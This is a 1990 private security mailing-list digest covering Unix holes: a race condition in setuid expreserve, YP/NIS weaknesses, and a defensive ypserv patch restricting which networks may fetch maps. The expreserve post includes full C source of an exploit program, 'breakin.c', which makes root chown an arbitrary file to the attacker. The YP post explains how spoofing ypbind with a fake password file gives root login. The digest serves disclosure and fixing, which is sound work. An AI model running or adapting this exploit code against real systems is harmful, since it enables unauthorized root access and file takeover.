Subject: Core Security Digest V1 #1 Core Security Digest Volume 1 Issue 1 subject(s): WELCOME to core Yet Another Expreserve Bug YP is not secure ypserv problem (NEW BUGID: 1036869) Re: ypserv as network-wide /etc/password server? (with source fix) The unix core security mailing list is by invitation only and contains sensitive material which SHOULD NOT BE REVEALED to non-members. DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS. If you must keep copies on-line, please encrypt them at the very least. PLEASE POST TO: core@uninet.cpd.com PLEASE SEND EMERGENCY ALERTS TO: core-emergency@uninet.cpd.com PLEASE SEND REQUESTS TO: core-request@uninet.cpd.com ------------------------------------------------------------------------ Date: Sat, 23 Jun 90 14:49:30 PDT From: neil (Neil Gorsuch) Subject: WELCOME to core [ WELCOME TO CORE. Digests will be coming out about once a week. Because of the delays in getting things set up, there is enough stuff waiting here that I am splitting it into two digests to avoid mailer problems. You should receive issue 2 at the same time that you receive this. In case my handy dandy script that adds members didn't send the welcome message to you correctly, here it is again ... Welcome to the core security mailing list! THIS IS NOT THE ZARDOZ SECURITY MAILING LIST! The core list is a small subset of the zardoz security list. The core list is much more difficult to join, and the membership is limited to a small select group of people. The zardoz list exists for these reasons: 1. To notify system administrators and other appropriate people of serious security dangers BEFORE they become common knowledge. 2. Provide security enhancement information. The core list shares those goals, and in addition is meant for the open discussion of NEW and UN-FIXED security holes. The members of the core list are expected to be actively finding and FIXING new security holes. Any new holes that are found to be "pluggable" by the vast majority of binary-only sites that they affect, will have only the directions for "plugging" them forwarded to the zardoz list after about a 2 week delay by me. NO "COOKBOOK" DIRECTIONS for duplicating the holes will leave the core list. If the directions for plugging the holes make the nature of the hole obvious, a brief description of the hole will also be sent to the zardoz list. After an additional 3 or 4 week delay, I will post some even more abbreviated "plugging" directions to the news group alt.security. I will take whatever steps I can to keep the core list from falling into the wrong hands, but you can make my job immensely easier by not keeping archives of the list. One of the primary reasons that the core list was formed is because enough copies of the zardoz list's archives were on enough internet systems, and enough internet systems were being broken into, that a lot of the "serious" crackers ended up getting copies on a fairly regular basis. I would also appreciate it if the members of the core list would refer to it (publically, at least) as the "holes" list or the "inner" list. I don't want crackers grepping mail spool directories for "core", as they have in the past for "zardoz". I will change things when I finally put in the internet connection so that the word zardoz is not in any messages. As far as the public is concerned, the addresses for the core list are "holes" and "holes-request". The core list has two kinds of members. The first recieves every reflected posting sent to "core". The second receives digests of postings about once a week. I do not edit the postings for content, or censor postings except in very rare cases, so you won't miss anything except the extraneous blank lines and signature lines that I edit out of the digests. I will also re-order the postings in the digests so that like subjects are grouped together and discussion threads are preserved. Postings to "core-emergency" are sent out to both groups immediately as a reflected posting. The emergency posting address is meant for subjects that warrant being seen by all list members immediately. Please think twice before using the core-emergency address, I implemented it for things like this: INTERNET VIRUS XXVII IS LOOSE, DISCONNECT SUN MODEL 17/60's! CISCO PORT DENIAL IS BYPASSED AS FOLLOWS, PLEASE SUPPLY A FIX! FILE /tmp/stop_pretty_please_we_surrender STOPS THE UUCP SENDMAIL VIRUS! If you post a FIX for a time-critical situation such as a new internet worm to core-emergency, you could be nice to the much larger zardoz list and send a very edited version to security-emergency also. But please don't just Cc: it, I would like to keep the "core" addresses a secret for as long as possible. For the reverse case, every posting sent to the zardoz emergency posting address will automatically go out to every core list member. I have left you in the zardoz list also, I assume that you would all like to have as much information as possible. If the noise level in the zardoz list is too high for you, I can put you on that list in the digests group, even if you are in the reflected group of the core list. I could even drop you from the zardoz list if you insist, but I wouldn't advise it. But I do insist that all core list members receive the zardoz list emergency postings, and have set up the list software that way. Again, the relevant posting addresses for the core list are: core postings (and the members of this list should be able to remember to manually adjust their posting address, and not just "reply", I'm tired of adjusting things myself). core-request me, the administrator core-emergency postings will go out to all core members immediately The core list membership is LIMITED. After a certain point, I will NOT add new members, unless they are a vendor representative or have otherwise exceptional qualifications. I will NOT have the core list be so widely sent that it is easily intercepted by crackers. If there are problems, I will start dropping members, and will continue to drop members, until the problems go away. DO NOT forward the core list to a "friend" on another system. If you know someone that really needs this information on a regular basis, ask me to add them to the core list. Remember, fixable holes will be sent to the zardoz list, and unless your friend is a vendor or someone whose help in fixing new holes would be invaluable, they don't really need to be in the core list. Failure to abide by this will result in immediate removal from the list. Here are the core list destination requirements: 1. Every destination will be to a very small group of people on the SAME machine or logical group of machines under one machine's control. 2. Every destination has to be on the internet, or get a direct uucp feed from here, or be a direct uucp connection from another system already receiving the list. I want to minimize the number of intermediate systems that the list goes through. If you are a uucp only site, and don't have a direct link set up with zardoz yet, contact me SOON to set up the link. core-request@uninet.cpd.com (for internet hosts) zardoz!uninet!core-request (for uucp hosts, since you will direct connect) (714) 546-1100 Neil Gorsuch - neil ] ------------------------------------------------------------------------ Date: Wed, 11 Apr 90 10:08:37 edt From: Bob Pearson Subject: Yet Another Expreserve Bug I have found a rather barbaric race condition in expreserve that allows the setuid program to be compromised by changing the permissions of a file. This bug exists in all expreserves up to and including Berkeley 4.3. (well not quite). On all System V and earlier releases this works. Under System V expreserve places the Ex temp file in the directory: /usr/preserve/$LOGNAME and under the Berkeley releases it places them under either: /usr/preserve or /var/preserve (SUN0S 4.X among others) This "feature" will definitely allow security to be breached on all standard System Vs and all Berkeley-ish systems that have the /usr/preserve directory writable by the user (Note: SUNOS has this directory unwritable by default). The System V bug was relatively unavoidable (though the addition of the "S" bit to directories in SVR3.2 could close the hole) until SVR4 but the Berkeley bug should have been fixed as soon as the fchown(2) system call was added to BSD. Basically the "hole" is that expreserve does: fd = creat("/usr/preserve/Exaaa$PID, 0600); chown("/usr/preserve/Exaaa$PID, real_uid, real_gid); when it should do a: fd = creat("/usr/preserve/Exaaa$PID, 0600); fchown(fd, real_uid, real_gid); which avoids the race (it changes the permission on the inode that was creat(2)ed and not the inode whose name is /usr/preserve/Exaaa$PID). The previous examples are actually simplified as expreserve actually looks at the uid and gid as stored in the /tmp/Ex$PID file and compares them to the getuid() and getgid() return values. The actual "race" is that a context switch may occur between the creat(2) and chown(2) in expreserve that allows another process with write permission to the target directory to unlink(2) the creat(2)ed file and place a hard link to another file by that name in the target directory, which expreserve subsequentialies chown(2)s to your uid. This "feature" allows any file on the same device to be chown(2)ed to you. Though you may see support for symbolic links, on the version of UNIX that I have tested this on, this will only change permissions on the symlink. I find this confusing as ELOOP is an alleged failure condition for chown(2) implying that a symbolic link resolution. The procedure for demonstrating this bug is to create a VALID non-zero length /tmp/Ex$PID file and copy it to the directory where the program is located under the name "data". To do this edit a junk file, make some changes and escape to a shell and check the /tmp directory for a non-zero length Ex$PID file owned by you, copy it to the testing directory and run the program that follows. Note: This program needs to be modified to run under System V to support /usr/preserve/$USER/Exaaa$PID targets, it has been tested under SUNOS 4.X and HPUX. I haven't had time to modify it yet, but it should definitely work under System V. For performance reasons, this bug is works best if you make a hard link to the target file in the directory that expreserve places the editor temporary. Less chance sleeping on an inode (hence the chdir(2)). ========================== breakin.c ======================================== /* * This program takes advantage of a race condition in most version of * /usr/lib/expreserve. Expreserve create(2)s a file as root in either * /usr/preserve or /usr/preserve/$USER and then chmod(2)s the file. * The Berkeley 4.3 version contains this bug as does earlier versions of * expreserve. BSD could safely fchmod(2) the file avoiding the race but * DOES NOT. System V implementation fchmod(2) until SVR4.0 and this bug * still existed in the beta release I saw. */ /* NOTE: This will only work if the target directory is writeable by the user */ #include #include #include #include #include #include #include #define TRUE 1 #define FALSE 0 /* SUNOS 4.0 and SVR4 use "/var/preserve" */ #ifndef PRESERVE_DIRECTORY #define PRESERVE_DIRECTORY "/usr/preserve" #endif #ifndef MAIL_DIRECTORY #define MAIL_DIRECTORY "/usr/mail" #endif #ifndef EXPRESERVE #define EXPRESERVE "/usr/lib/expreserve" #endif #ifdef SYM_LINKS extern int symlink(); #endif extern int errno, link(); extern char *gets(); int (*LinkFunc)(); struct stat st_target, st_exfile, st_spoof; struct passwd *pw; /* gppid = grand parent pid, ppid = parent pid, cpid = child pid */ int ret, fd_exfile, n, gppid, ppid, cpid, i, childDied, myuid; char *Prog, buf[BUFSIZ], *target, *exfile, *preserve_dir, *spoof, *mailfile, *strdup(), *GetBaseName(); void CheckIt(), ChildDied(); int main(argc, argv) int argc; char *argv[]; { void GetTarget(); int GetExfile(); umask(0); signal(SIGHUP, SIG_DFL); gppid = getpid(); myuid = geteuid(); printf("pid of top level parent = %d\n", gppid); Prog = *argv; preserve_dir = PRESERVE_DIRECTORY; close(GetExfile()); printf("Perserve directory = %s\n", preserve_dir); /* get who you are */ if ((pw = getpwuid(getuid())) == (struct passwd *) 0) { fprintf(stderr, "%s: can't find your passwd entry\n", Prog); exit(1); } GetTarget(); if (stat(PRESERVE_DIRECTORY, &st_exfile)) { perror("stat"); fprintf(stderr, "%s: Can't stat %s\n", Prog, PRESERVE_DIRECTORY); exit(1); } /* * Determine if we are going to use a symlink(2) or link(2) system * call or if this is a cross device link and we don't have symlink(). */ if (st_target.st_dev != st_exfile.st_dev) { #ifndef SYM_LINKS fprintf(stderr, "%s: target %s and directory %s on different %s\n", Prog, target, PRESERVE_DIRECTORY, "file systems"); fprintf(stderr, "%s: Cross device links not supported\n"); exit(1); #else LinkFunc = symlink; printf("using symlink\n"); #endif } else { /* else we are on same device */ LinkFunc = link; printf("using link\n"); } fflush(stdout); gets(buf); #ifdef TRUNCATE_MAIL_FILE /* this is here because you might get alot of mail messages */ sprintf(buf, "%s/%s", MAIL_DIRECTORY, pw->pw_name); mailfile = strdup(buf); #endif /* the guts start here */ for (i = 1; ; i++ ) { switch (ppid = fork()) { /* begin Level I switch */ case 0: /* tries to spoof EXPRESERVE */ ppid = getpid(); CREATE_SECOND_CHILD: switch (cpid = fork()) { /* begin Level II switch */ case 0: /* we actually exec EXPRESERVE in the grand child of the parent process */ cpid = getpid(); signal(SIGHUP, SIG_IGN); close(0); GetExfile(); sleep(2); /* give time to parent to get ready */ nice(5); /* run at lower priority */ execl(EXPRESERVE, GetBaseName(EXPRESERVE), (char *) 0); perror("exec"); fprintf(stderr, "DYING\007\007\n"); fflush(stdout); kill(ppid, SIGHUP); kill(gppid, SIGHUP); exit(1); break; case -1: goto CREATE_SECOND_CHILD; default: /* first forked process */ #ifdef NO_USER_SUBDIRECTORY sprintf(buf, "Exaaa%05d", cpid); #else sprintf(buf, "%s/Exaaa%05d", pw->pw_name, cpid); #endif spoof = strdup(buf); sprintf(buf, "/tmp/Ex%05d", cpid); exfile = strdup(buf); childDied = 0; #ifdef SYSV sigset(SIGCHLD, ChildDied); #else signal(SIGCHLD, ChildDied); #endif while (chdir(preserve_dir) ; while (unlink(spoof)) ; if (((LinkFunc)(target, spoof)) == 0) { #ifdef SYSV sighold(SIGCHLD); #else sigblock(sigmask(SIGCHLD)); #endif CheckIt(); #ifdef SYSV sigrelse(SIGCHLD); while (childDied == 0) ; #else while (childDied == 0) sigpause(0); #endif } printf("iteration %d failed\n", i); if (unlink(spoof)) { printf("unlink of spoof %s failed\n", spoof); } if (unlink(exfile)) { printf("unlink of exfile %s failed\n", exfile); } if (childDied == 0) wait((int *) 0); exit(0); break; } /* End Level II switch */ break; case -1: continue; default: /* grand parent */ while ((cpid = wait((int *) 0)) != ppid) ; #ifdef TRUNCATE_MAIL_FILE close(open(mailfile, O_TRUNC | O_CREAT | O_RDWR, 0600)); #endif } /* end Level I switch */ } /* end forever loop */ } void GetTarget() { char tbuf[BUFSIZ]; for ( ; ; ) { printf("enter full pathname of target file: "); gets(buf); if (stat(buf, &st_target) == 0) { target = strdup(buf); return; } perror("stat"); } } int GetExfile() { extern char *malloc(); char tbuf[BUFSIZ]; int fd; struct stat s; static int beenHere, glen; static char *garbage; /* first loop current directory is still dot */ if (!beenHere) { if (stat("data", &s)) { fprintf(stderr, "%s: can't stat 'data'\n", Prog); exit(0); } if (s.st_size < 1) { fprintf(stderr, "%s: too small\n", Prog); exit(1); } glen = s.st_size; if ((garbage = malloc(glen)) == (char *) 0) { fprintf(stderr, "%s: malloc of %d bytes failed\n", Prog, glen); exit(1); } if ((fd = open("data", O_RDONLY)) < 0) { perror("open"); fprintf(stderr, "%s: failed to open 'data'\n"); exit(1); } read(fd, garbage, glen); close(fd); beenHere++; return 20; } sprintf(tbuf, "/tmp/Ex%05d", cpid); exfile = strdup(tbuf); if ((fd = open(tbuf, O_CREAT | O_RDWR, 0600)) < 0) { perror("create"); fprintf(stderr, "%s: failed to create %s\n", Prog, tbuf); exit(1); } write(fd, garbage, glen); sync(); lseek(fd, 0L, 0); return fd; } char *GetBaseName(prog) char *prog; { extern int strlen(); register int i, first_char; register char *s1; s1 = prog; /* trim things like "~/bin/mail//" which are legal to namei */ for (i = strlen(prog) - 1; i; --i) if (*(s1+i) == '/') { *(s1+i) = '\0'; } else break; /* find first char after last '/' */ for (i = first_char = 0; *(s1+i); i++) if (*(s1+i) == '/') first_char = i + 1; return s1 + first_char; } #ifdef NOSTRDUP /* my old old version of HP/UX does not have strdup */ char *strdup(s1) char *s1; { extern char *malloc(), *strcpy(); extern int strlen(); char *new; if ((new = malloc(strlen(s1)+1)) == (char *) 0) return (char *) 0; return strcpy(new, s1); } #endif void CheckIt() { sleep(2); /* give expreserve a time slice to chown(2) the file */ if ((stat(spoof, &st_spoof) == 0) && (stat(target, &st_target) == 0)) { if ((st_spoof.st_uid == myuid) && (st_target.st_uid == myuid)) { printf("successful at iteration %d\007\007\007\n", i); printf("file is %s\n", spoof); fflush(stdout); kill(gppid, SIGHUP); exit(0); } } printf("CheckIt failed\n"); fflush(stdout); } void ChildDied(sig) int sig; { childDied++; printf("EXPRESERVE done\n"); fflush(stdout); unlink(exfile); unlink(spoof); wait((int *) 0); exit(1); } ------------------------------------------------------------------------ Date: Fri, 13 Apr 90 14:25:21 EDT From: Mark Moraes Subject: YP is not secure For YP in this article, subsititute "what Sun used to call Yellow Pages and now calls NIS":-) In past digests, people have commented that ypserv will helpfully hand out password files to anyone who asks. True. What people don't seem to have mentioned is a far nastier pair of bugs/features/oversights in ypbind that leave a system running YP wide open, viz: - ypbind will happily accept ypset requests from the network to change the ypserv for a domain. (This is of course documented as a recommended way to tell ypbind about ypservs on other networks, since ypbind uses broadcasts to find out it's ypserv) So anyone can tell your ypbind to use them as a ypserv, give it a fake passwd file, and login as root, *IF* they know, or can guess your domainname. (This is true for at least the ypbind that comes with SunOS3.x; I see no evidence that this has changed in the manual page for SunOS4.0 -- we have no SunOS4.0 systems running YP that I could test this on, and no SunOS4.0 src) And of course, anyone who has an account on your machine can trivially find out your domainname. The problem could probably be fixed by changing ypbind so it accepts a list of trusted hosts for ypset requests, or better yet, accepts a list on startup from some trustworthy file. Which leads to the second problem. - anyone on your machine can start up their own ypbind -- the old ypbind will gracefully(!) yield to it. If you have Sun src on your system, or have someone capable of writing a ypbind substitute that behaves differently, then there doesn't seem to be much one can do to stop them replacing your ypbind; it would appear to be a feature of Sun RPC. I suspect it is possible to have a machine on your ethernet that listens for YP broadcast requests and replies quickly, beating out the real ypserv. But that's a different kettle of fish -- you pretty much have to trust everyone on your ethernet anyway. Alas, an ever-increasing number of vendors seem to be shipping YP with their systems, presenting the illusion that YP makes it simpler to administer a network (hah -- our sysadmin tasks became MUCH simpler, performance improved, and things became more reliable and predictable in the presence of server crashes when we removed YP! And we got to run the nameserver without too many contortions. And the less said about ypbind under load, the better...). A sysadmin on one of the only systems to run YP on our campus, when warned of these problems, commented > This is a well known problem. I've already acquired two patches from > SUN that is supposed to fix this. Neither worked. I have not seen these problems mentioned before on this list, or any other. (I do remember seeing mention of a modified ypbind on sun-spots/sun-nets/sun-managers once, but my habit of ignoring all YP related articles there probably means I missed it) My apologies if this is duplicate material. ------------------------------------------------------------------------ Date: Tue, 17 Apr 90 18:16:44 N From: uunet!iis!prl Subject: ypserv problem (NEW BUGID: 1036869) Sun has reconsidered their position and the bug has been reopened. It has a new bug ID: 1036869. My thanks to the people at Sun Switzerland for their efforts to get this accepted as a `real problem'. Swiss readers should contact Sun Switzerland, who will be able to provide them with the fix from Richard Watterson at Purdue given to me by Dan Trickle (source patch in my last message to this list). Currently Sun CH has sun4 and sun3 fixes for 4.0.3 (should also work for 4.0). I hope that this fix or one similar will become available from Sun to others on the list soon. Users of YP from other vendors should maybe encourage them to make this fix available, too. ------------------------------------------------------------------------ Date: Mon, 16 Apr 90 17:34:51 N From: uunet!iis!prl Subject: Re: ypserv as network-wide /etc/password server? (with source fix) Thanks to Dan Trickle at Purdue, I now have a source patch to ypserv to fix the YP problem I described in Volume 2 Issue 11. For those of you who don't have source, I know this is cold comfort, so to start off, here are a summary of the partial workarounds I know to this problem: 1) make your YP domainname long and unrelated to your hostname. Something like olddomainname:ghfBHUIOheude1hbqwj76494 would maybe more useful than completely random. Maximum allowed length is 64 bytes. This is truely security through obscurity... 2) If you access the wider Internet through a flexible router (Cisco or similar) switch off access to port 111, tcp and udp. This significantly increses the programming effort needed to exploit the problem. Unfortunately, ypserv is not always at the same port on all machines, so it's difficult to switch off access to ypserv reliably. This will prevent all normal SunRPC calls going through the bridge. This may not be what you want. 3) The official word from Sun in response to the bug report: ``For now we recommend taking 2 steps: 1) do not run the YP server on your Internet gateway and 2) do not do IP routing from your Internet gateway to the rest of your machines. This is the solution employed at Sun.'' Of these workarounds, 3) is the only completely reliable one, assuming the attack comes from outside, but may not meet most people's idea of user-friendliness. 2) and 3) will not protect you from someone who has broken in on a machine `inside' the barrier but not in your domain, and decides to collect password files while there. 1) combined with 2) or 3) may be better. I have reported this bug to sun, and received the following response: --- start: extract from bug report ----- Bug Id: : 1035964 Product: sunos Category: network Subcategory: yp Release summary: 4.0.3export Bug/Rfe: bug State: closed Synopsis: ypserv will send maps to anyone who can guess the domainame Keywords: password, security, ypserv, maps, domainame ... We are addressing this in our future plans for naming services, we do not expect to make this change to any version of 4.X. ... Since it is not expected that this bug will be fixed in YP's lifetime, I am closing it out. Closed because: will not fix --- end: extract from bug report ----- I am not completely satisfied with this response and am trying to reopen the bug report with Dan Trickle's fix. The source patch follows. ----- Forwarded from Dan Trickle ---- I just saw your message in the zardoz list about ypserv. Here is a quick fix we just implemented. It uses a /var/yp/sercurenets file and, if present, only responds to IP addresses in the range given. The format of the file is one of more lines of netmask netaddr Both netmask and netaddr must be dotted quads. Ours looks like 255.255.0.0 128.10.0.0 255.255.255.0 128.211.1.0 You could even go so far as to list individual hosts with a netmask of 255.255.255.255, but that is probably overkill. It logs denied access as well, which might be helpful these days. Of course, if they are already on one of our local machines, it does not help. .... some irrelevant material deleted ... -- prl ============================== ypserv.patch ============================== RCS file: RCS/ypserv.c,v retrieving revision 1.1 diff -c -r1.1 ypserv.c *** /tmp/,RCSt1017343 Wed Apr 4 09:03:54 1990 --- ypserv.c Tue Apr 3 13:46:50 1990 *************** *** 121,127 pmap_unset(YPPROG, YPVERS); pmap_unset(YPPROG, YPOLDVERS); ypget_command_line_args(argc, argv); ! if (silent) { pid = fork(); --- 121,127 ----- pmap_unset(YPPROG, YPVERS); pmap_unset(YPPROG, YPOLDVERS); ypget_command_line_args(argc, argv); ! get_secure_nets(); if (silent) { pid = fork(); =================================================================== RCS file: RCS/ypserv_map.c,v retrieving revision 1.1 diff -c -r1.1 ypserv_map.c *** /tmp/,RCSt1017368 Wed Apr 4 09:03:59 1990 --- ypserv_map.c Tue Apr 3 14:51:31 1990 *************** *** 232,237 return (TRUE); } caller = svc_getcaller(transp); if ((caller->sin_family == AF_INET) && (ntohs(caller->sin_port)) < IPPORT_RESERVED) { return (TRUE); --- 232,239 ----- return (TRUE); } caller = svc_getcaller(transp); + if (!(check_secure_net(caller))) + return(FALSE); if ((caller->sin_family == AF_INET) && (ntohs(caller->sin_port)) < IPPORT_RESERVED) { return (TRUE); =================================================================== *** /tmp/,RCSt1017375 Thu Apr 12 10:10:04 1990 --- ypserv_net_secure.c Thu Apr 5 16:18:59 1990 *************** *** 0 **** --- 1,99 ---- + /* + * Author: + * Richard Watterson + * Purdue University + * Department of Computer Sciences + * April 3, 1990 + */ + + #include + #include + #include + #include + #include + #include + #define ACCFILE "/var/yp/securenets" + #define MAXLINE 128 + struct seclist { + u_long mask; + u_long net; + struct seclist *next; + }; + static struct seclist *slist ; + static int nofile = 0; + get_secure_nets() + { + FILE *fp; + char strung[MAXLINE],nmask[MAXLINE],net[MAXLINE]; + unsigned long maskin, netin; + struct seclist *tmp1,*tmp2; + int line = 0; + if (fp = fopen(ACCFILE,"r")) { + tmp1 = (struct seclist *) malloc(sizeof (struct seclist)); + slist = tmp1; + while (fgets(strung,MAXLINE,fp)) { + line++; + if (strung[strlen(strung) - 1] != '\n'){ + syslog(LOG_ERR|LOG_DAEMON, + "ypserv: %s line %d: too long\n",ACCFILE,line); + exit(1); + } + if (strung[0] == '#') + continue; + if (sscanf(strung,"%16s%16s",nmask,net) < 2) { + syslog(LOG_ERR|LOG_DAEMON, + "ypserv: %s line %d: missing fields\n",ACCFILE,line); + exit(1); + } + maskin = inet_addr(nmask); + if (maskin == -1) { + syslog(LOG_ERR|LOG_DAEMON, + "ypserv: %s line %d: error in netmask\n",ACCFILE,line); + exit(1); + } + netin = inet_addr(net); + if (netin == -1) { + syslog(LOG_ERR|LOG_DAEMON, + "ypserv: %s line %d: error in address\n",ACCFILE,line); + exit(1); + } + + if ((maskin & netin) != netin) { + syslog(LOG_ERR|LOG_DAEMON, + "ypserv: %s line %d: netmask does not match network\n", + ACCFILE,line); + exit(1); + } + tmp1->mask = maskin; + tmp1->net = netin; + tmp1->next = (struct seclist *) malloc(sizeof (struct seclist)); + tmp2 = tmp1; + tmp1 = tmp1->next; + } + tmp2->next = NULL; + + } + else { + syslog(LOG_INFO|LOG_DAEMON,"ypserv: no %s file\n",ACCFILE); + nofile = 1 ; + } + } + + check_secure_net(caller) + struct sockaddr_in *caller; + { + + struct seclist *tmp; + tmp = slist ; + if (nofile) + return(1); + while (tmp != NULL) { + if ((caller->sin_addr.s_addr & tmp->mask) == tmp->net){ + return(1); + } + tmp = tmp->next; + } + syslog(LOG_ERR|LOG_DAEMON,"ypserv: access denied for %s\n", + inet_ntoa(caller->sin_addr)); + return(0); + } ------------------------------------------------------------------------ End of Core Security Digest Volume 1 Issue 1 **********************